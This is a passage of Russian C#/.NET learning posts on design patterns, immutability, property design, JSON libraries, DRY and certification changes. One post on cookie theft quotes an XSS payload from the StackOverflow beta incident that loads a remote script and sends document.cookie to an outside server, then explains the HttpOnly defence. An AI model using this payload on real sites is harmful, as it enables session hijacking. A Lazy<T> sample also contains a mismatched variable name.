- Facade — фасадный класс прячет детали реализации подсистемы от клиентов;
- Client — клиент работает с фасадом, а не с классами подсистемы.

Преимущества
- Инкапсуляция работы со сложной библиотекой в одном месте позволяет корректно использовать её всеми разработчиками независимо от их опыта.
- При выходе новой версии библиотеки достаточно протестировать лишь фасад.
- Благодаря фасаду приложение не так сильно завязано на библиотеку, так что переход на другую библиотеку потребует лишь создание еще одного фасада.

Многие библиотеки или подсистемы приложений содержат встроенные фасады, которые являются высокоуровневыми классами, предназначенными для решения типовых операций. Если клиенту нужна лишь базовая функциональность, достаточно воспользоваться фасадом; если её недостаточно, можно использовать более низкоуровневые классы модуля или библиотеки напрямую.

Источник: Тепляков С. "Паттерны проектирования на платформе .NET." — СПб.: Питер, 2015. Глава 13.
День четыреста третий. #Оффтоп
Использование Неизменяемых Структур Данных в C#
“Если у вас есть аксессор (get) свойства, у него необязательно должен быть мутатор (set).”

В нескольких постах на моём канале уже упоминалось, что структуры должны быть неизменяемы или что в лучших практиках советуют делать объекты неизменяемыми, когда это уместно. Но что это значит на практике и что это даёт?

Известная цитата знаменитого разработчика компьютерных игр Джона Кармака гласит: «Большая часть недостатков в разработке программного обеспечения связана с тем, что программисты не до конца понимают все возможные состояния, в которых может выполняться их код.»
То есть проблемы возникают из-за того, что значения переменных постоянно меняются и очень сложно отследить все возможные изменения и предсказать, как программа поведёт себя при том или ином значении переменной.

Если мы имеем изменяющиеся данные, к которым могут обращаться несколько потребителей (потоков), сразу встаёт вопрос синхронизации. Неизменяемость данных облегчает параллельную обработку. Если объект не может изменяться, нам не нужно думать, что будет в случае его изменения. Это позволяет сосредоточиться на задаче и не отвлекаться на варианты использования, которые непосредственно к ней не относятся.
Когда мы видим в типе мутатор (set) свойства, сразу возникают вопросы:
- Он здесь потому, что я могу менять значение?
- Он здесь потому, что от меня требуется изменить значение?
- А что будет, если я изменю значение?
Кроме того, передача изменяемых данных в метод даёт этому методу «разрешение» изменять данные, если очень захочется. Иногда это действительно нужно, но далеко не всегда.

Поддержка неизменяемых данных в языке C#
Неизменяемые типы были в C# с самого начала. Это строки или структура DateTime. В C#7.2 появились структуры только для чтения, что позволило значительно увеличить производительность. Анонимные типы тоже не только неизменяемы, но и сравниваются по значению, а не по ссылке. Начиная с 6 версии языка можно объявлять автосвойства только для чтения, указывая только аксессор get:
public class Person {
public string FirstName { get; }
public string LastName { get; }

}

В C# есть вид неизменяемых коллекций System.Collections.Immutable, которые работают по тому же принципу, что и строки (добавление/удаление элемента возвращает новую неизменяемую коллекцию):
var list1 = ImmutableList.Create<string>("one");
var list2 = list1.Add("two");
list1 и list2 – это разные объекты, в list1 остался 1 элемент.
Кроме того, можно использовать метод List<T>.AsReadOnly(), но он не такой мощный, т.к. получившуюся коллекцию вообще нельзя изменять:
var list3 = new List<string> { "three" }.AsReadOnly();
list3.Add("four"); // ошибка компиляции

Советы по использованию
1. Используйте неизменяемые объекты как один из методов защитного программирования. Также, как вы делаете проверку на null, задумывайтесь при создании типа, должны ли его свойства меняться.
2. Делайте объекты изменяемыми, только если это действительно необходимо. Например, если неизменяемые объекты сильно усложняют код (как при работе с некоторыми библиотеками или фреймворками, вроде Entity Framework).
3. Все члены команды должны договориться об использовании этого правила, т.к. различные взгляды на этот вопрос приведут только к путанице и конфликтам.
4. Если вы навязываете неизменяемость, жертвуя читаемостью и лёгкостью поддержки кода, вы не улучшаете качество проекта, а заменяете одну проблему другой.

Источник: Спенсер Шнайденбах - https://www.youtube.com/watch?v=aUbXGs7YTGo (видео на английском)
День не найден. #АтакиНаСайты
ASP.NET MVC 5. Безопасность Веб-Приложений
3. Кража куков
Куки-файлы - это одна из вещей, которые делают Интернет пригодным для использования, так как большинство сайтов используют их для идентификации пользователей после того, как те вошли в систему. Если злоумышленники смогут украсть ваши куки, они cмогут выдавать себя за вас.
Как пользователь, вы можете отключить куки в своём браузере, но есть вероятность, что после этого вы не сможете авторизоваться на сайте, а получите сообщение вроде «Куки должны быть включены для доступа к этому сайту».

Веб-сайты используют куки для хранения информации между запросами страниц или сеансами. Часть этой информации довольно банальная, вроде настроек сайта, другая же часть может содержать информацию для идентификации вас между запросами. Существует два типа куков:
- Сеансовые хранятся в памяти браузера и удаляются после окончания сеанса.
- Постоянные хранятся в текстовых файлах до предустановленного срока истечения, и сайт будет помнить вас при следующем посещении.

Если вам удастся украсть чей-то файл куки, используемый для аутентификации на веб-сайте, вы сможете успешно войти на сайт как этот человек и выполнить все действия, которые ему доступны. Этот вид атаки на самом деле очень прост, он основан на уязвимости XSS. Злоумышленник должен иметь возможность вставить небольшой скрипт на целевой сайт. Джефф Этвуд из CodingHorror написал об этой проблеме, когда StackOverflow проходил бета-тестирование.
Всё началось с того, что на страницу профиля пользователя был добавлен скрипт:
<img src=""https://www.a.com/a.jpg<script type=text/javascript
src="https://1.2.3.4:81/xss.js">" /><<img
src=""https://www.a.com/a.jpg</script>"
StackOverflow допускает некоторый HTML код в комментариях, что очень соблазнительно для проведения XSS атаки. Пример, который Джефф описал в своём блоге, является прекрасной иллюстрацией того, как злоумышленник может внедрить сценарий в невинный код, такой ​​как добавление скриншота.

Проблемой в этом случае была самописная проверка HTML кода. Злоумышленник использовал дыру в ней, и, благодаря такой хитрой конструкции, код со скриптом прошёл проверку. При отображении страницы браузер загружал внешний скрипт с вот таким кодом JavaScript:
window.location="https://1.2.3.4:81/r.php?u="
+document.links[1].text
+"&l="+document.links[1]
+"&c="+document.cookie;
Каждый, кто загружал эту страницу, невольно передавал свои куки на удалённый сервер! За короткое время злоумышленнику удалось украсть куки пользователей StackOverflow, а в конечном итоге и Джеффа. Это позволило ему войти в систему, подтвердить личность Джеффа на сайте (который, к счастью, тогда ещё находился в бета-версии) и делать всё, что ему хотелось.

Предотвращение кражи куков с помощью HttpOnly
Вы можете предотвратить доступ скриптов к кукам на вашем сайте, добавив флаг HttpOnly. Установить этот флаг можно в файле web.config:
<httpCookies domain="" httpOnlyCookies="true" requireSSL="false" />
Либо отдельно для каждой куки:
Response.Cookies["MyCookie"].Value="Remembering you…";
Response.Cookies["MyCookie"].HttpOnly=true;
Установка этого флага говорит браузеру, что нужно сделать куки недействительным, если что-то, кроме сервера, устанавливает или изменяет его. Этот метод довольно прост, и он предотвращает большинство проблем с куками. Поскольку доступ к кукам через скрипты требуется редко, эту функцию следует использовать почти всегда.

Источник: Jon Galloway “Professional ASP.NET MVC 5”. – John Wiley & Sons Inc., 2014. Глава 7.
День четыреcта пятый. #MoreEffectiveCSharp
6. Убедитесь, что свойства ведут себя как данные
Свойства ведут себя двояко. Снаружи они похожи на простой доступ к данным, однако изнутри это методы. Такое поведение может вызвать соблазн создать свойство, выполняющее некоторую работу перед выдачей результата. Однако имейте в виду, что клиенты класса ждут от свойств некоторого определённого поведения:
1. Последующие вызовы аксессора (get) без каких-либо промежуточных действий должны приводить к тому же результату (понятно, что это не относится к случаю изменения свойства другими потоками).
2. Аксессор свойства не будет выполнять большую работу. Доступ к данным никогда не должен быть дорогой операцией. Аналогично, методы доступа к набору свойств, вероятно, будут выполнять некоторую проверку, но их вызов не должен быть дорогим. Например, в цикле
for(int i=0;i<arr.Length;i++)
если бы свойство Length считало количество элементов на каждой итерации, такой простой цикл выполнялся бы в квадратичное время, и никто бы его не использовал.

Соответствовать таким ожиданиям клиентов не сложно:
1. Используйте автосвойства.
2. Реализуйте проверку значения свойства в мутаторе (set), а не в аксессоре (get). Таким образом она будет выполняться 1 раз при записи, а не при каждом чтении значения.
3. Простые математические расчёты (расстояние до точки по координатам или площадь фигуры) никак не влияют на производительность, поэтому их можно безболезненно включить в аксессор.

Однако, если расчёт значения дорог, нужно продумать доступ к нему:
// Плохая реализация
public class MyType {
public string Name => GetFromDB();
}
Пользователи не ожидают, что доступ к свойству потребует обращения к базе данных. Поэтому API нужно изменить. Есть несколько способов:
1. Получение однократно и сохранение в кэше
public class MyType {
private string name;
public string Name => (name != null) ?
name : GetFromDB();
}

*GetFromDB в этом случае устанавливает значение name.
2. Аналогичный способ с использованием типа Lazy<T>:
public class MyType {
private Lazy<string> lazyName;
public MyType() {
lazyName = new Lazy<string>(() => GetFromDB());
}
public string Name => lazyObjectName.Value;
}
Это хорошо работает, когда свойство Name требуется только изредка. Вы не извлекаете значение, если оно не нужно. Но первый обратившийся к нему «страдает за всех». Если к свойству обращаются часто, можно рассмотреть вариант получения значения в конструкторе сразу при создании экземпляра.

3. Предыдущие примеры предполагают, что значение в БД никто не изменяет. В противном случае, если требуется как получать, так и изменять значение в БД, доступ лучше реализовать через методы с понятными именами (например, LoadFromDatabase и SaveToDatabase), чтобы клиентам был очевиден объём работы, требующийся для этого.

Наконец, имейте в виду, что отладчики могут автоматически вызывать методы доступа к свойству для отображения значения при отладке. Если аксессор выбрасывает исключение, занимает много времени или изменяет внутреннее состояние приложения, это усложнит ваши сеансы отладки. В этом случае в Visual Studio можно использовать трюк «Определение значения без побочных эффектов».

Источник: Bill Wagner “More Effective C#”. – 2nd ed. Глава 6.
День четыреста шестой. #ЧтоНовенького
Краткое сравнение Newtonsoft.Json и System.Text.Json
System.Text.Json - это новая библиотека JSON для .NET, отличающаяся по назначению от своего предшественника, Newtonsoft.Json. Если вы уже используете Newtonsoft.Json в существующем проекте, вам скорее всего не нужно переходить на новую библиотеку. Но если для вас критична высокая производительность сериализации/десериализации JSON, используйте System.Text.Json.

System.Text.Json был выпущен в прошлом году, и, поскольку он интегрирован в ASP.NET Core 3, я подумал, что нужно кратко сравнить его с наиболее используемым NuGet пакетом - Newtonsoft.Json.

Я думаю, что важно понять причины написания совершенно новой библиотеки JSON, когда у нас уже есть Newtonsoft.Json. System.Text.Json был спроектирован в первую очередь с учётом высокой производительности. Команда .NET (в которую входит Джеймс Ньютон-Кинг, который написал Newtonsoft.Json) обнаружила, что не может реорганизовать Newtonsoft.Json для удовлетворения некоторых из этих требований без внесения несовместимых изменений.

Кроме того, System.Text.Json строго придерживается спецификации JSON RFC 8259, поэтому то, что вы раньше могли делать в Newtonsoft.Json (т.к. она не соответствует спецификации), теперь не разрешено в System.Text.Json. Например, Newtonsoft.Json десериализует:
- Имена свойств, которые имеют другой регистр
- Имена свойств в JSON с одинарными/двойными кавычками или без кавычек
- Значения null для свойств полей, не допускающих null (например, null в свойство типа int).

System.Text.Json из коробки поддерживает только:
- Десериализацию свойств JSON по именам в том же регистре
- Имена свойств с двойными кавычками
- Десериализацию свойств JSON в аналогичные типы C# (только int в int, а не null в int).

Есть много различий в поведении, которые вы можете найти в этой статье, но главный вопрос в следующем: нужно ли переходить с Newtonsoft.Json на System.Text.Json?

Ответ: почти наверняка нет. Между ними есть много тонких различий, которые могут вызвать ошибки во время выполнения. Newtonsoft.Json по-прежнему хорошая абстракция для .NET. System.Text.Json гораздо ближе к строгому JSON.

Источник: https://schneids.net/comparing-newtonsoft-json-with-system-text-json
День четыреста седьмой. #Оффтоп #97Вещей
97 Вещей, Которые Должен Знать Каждый Программист
30. Не Повторяйтесь
Из всех принципов программирования “Don’t Repeat Yourself” (DRY), пожалуй, один из самых фундаментальных. Этот принцип был сформулирован Энди Хантом и Дейвом Томасом в книге «Программист-прагматик» и лежит в основе многих других известных практик разработки ПО и паттернов проектирования. Разработчик, который учится распознавать дублирование и понимает, как его устранить с помощью соответствующих практик и создания правильной абстракции, может писать гораздо более чистый код, чем тот, кто постоянно захламляет приложение ненужными повторениями.

Дублирование - это мусор
Каждая строка кода приложения должна поддерживаться и является потенциальным источником будущих ошибок. Дублирование излишне раздувает кодовую базу, в результате чего повышается риск возникновения ошибок и добавления случайной сложности в систему. Это также затрудняет понимание системы разработчиками и вносит неуверенность из-за того, что изменения, сделанные в одном месте, возможно нужно внести в других местах. DRY требует, чтобы «каждая часть знания должна иметь единственное, непротиворечивое и авторитетное представление в рамках системы».

Повторение в процессе призывает к автоматизации
Многие процессы в разработке ПО повторяются и легко автоматизируются. Принцип DRY применяется и в этих случаях. Ручное тестирование является медленным, подверженным ошибкам и трудным для повторения, поэтому следует по возможности использовать наборы автоматизированных тестов. То же касается интеграции ПО: процесс сборки следует запускать как можно чаще, в идеале при каждом внесении изменений. Все болезненные ручные процессы, которые можно автоматизировать, должны быть автоматизированы и стандартизованы. Цель состоит в том, чтобы гарантировать, что есть только один способ выполнить задачу, и он настолько беспроблемный, насколько это возможно.

Повторение в логике призывает к абстракции
Повторение в логике может принимать разные формы. Копирование и вставка логики if-then или switch-case является одной из самых простых для обнаружения и исправления. Многие шаблоны проектирования имеют явную цель - уменьшить или устранить дублирование в логике. Если объект требует, чтобы произошло несколько вещей, прежде чем его можно будет использовать, это можно сделать с помощью абстрактной фабрики или фабричного метода. Если объект имеет несколько вариантов поведения, они могут быть внедрены с помощью Стратегии. Появление самих паттернов проектирования - это попытка уменьшить дублирование при решении стандартных проблем. Кроме того, DRY может применяться к структуре данных, например, в базах данных – это процесс нормализации.

Дело принципа
Другие программные принципы также связаны с DRY. Принцип «Один и только один раз», который применяется к функциональному поведению кода, может рассматриваться как подмножество DRY. Принцип «Открыт/Закрыт», который гласит, что «программные объекты должны быть открыты для расширения, но закрыты для модификации», работает на практике только тогда, когда соблюдается DRY. Аналогично, известный принцип единственной обязанности, который требует, чтобы у класса была «только одна причина для изменения», основан на DRY.

Принцип DRY обеспечивает фундаментальное руководство для разработчиков ПО и помогает создавать более простые, удобные в обслуживании и качественные приложения. Хотя существуют сценарии, в которых повторение может быть необходимо, например, для удовлетворения требований производительности, его следует использовать только в тех случаях, когда дело непосредственно касается реальной проблемы.

Источник: https://www.oreilly.com/library/view/97-things-every/9780596809515/
Автор оригинала – Steve Smith
День четыреста восьмой.
Сертификат Microsoft. Экзамен 70-486. Шаг второй
Брейкинг ньюс, при чём во всех смыслах брейкинг. Подписчик прислал ссылку на статью Microsoft Learning Blog:

Сертификаты MCSA, MCSD, MCSE отменяются. Внимание Microsoft к ролевому обучению и сертификации может помочь вам развить необходимые навыки и опыт. Обучение на основе ролей и сертификаты постоянно обновляются благодаря новым функциям и услугам, которые Microsoft постоянно добавляет в области облачных решений.

Поскольку в сентябре 2018 года мы объявили о своем внимании к ролевому обучению и сертификации, мы добавили в общей сложности 34 сертификата для Azure, Modern Workplace и Business Applications. Поскольку мы продолжаем расширять предложения по обучению на основе ролей, все остальные экзамены, связанные с Microsoft Certified Solutions Associate (MCSA), Microsoft Certified Solutions Developer (MCSD), Microsoft Certified Solutions Expert (MCSE),
будут отменены 30 июня 2020 года. Если вы работаете над сертификацией MCSA, MCSD или MCSE, вы должны сдать все необходимые экзамены до того, как они будут отменены.

Собственно, в список отменяемых входит и тот сертификат, на который я нацелился, MCSA: Web Applications, и экзамены 70-483: Programming in C# и 70-486: Developing ASP.NET MVC Web Applications.

В принципе, нет ничего плохого в смене парадигмы сертификации. Другое дело, что я в списке новых сертификатов не нашёл ничего даже более-менее близко относящееся к веб-разработке. Есть сертификат по разработке веб-сервисов в Azure Microsoft Certified: Azure Developer Associate, но это не совсем то. В общем, на получение сертификата – ВНЕЗАПНО – осталось примерно 3 месяца. Придётся ускорить подготовку.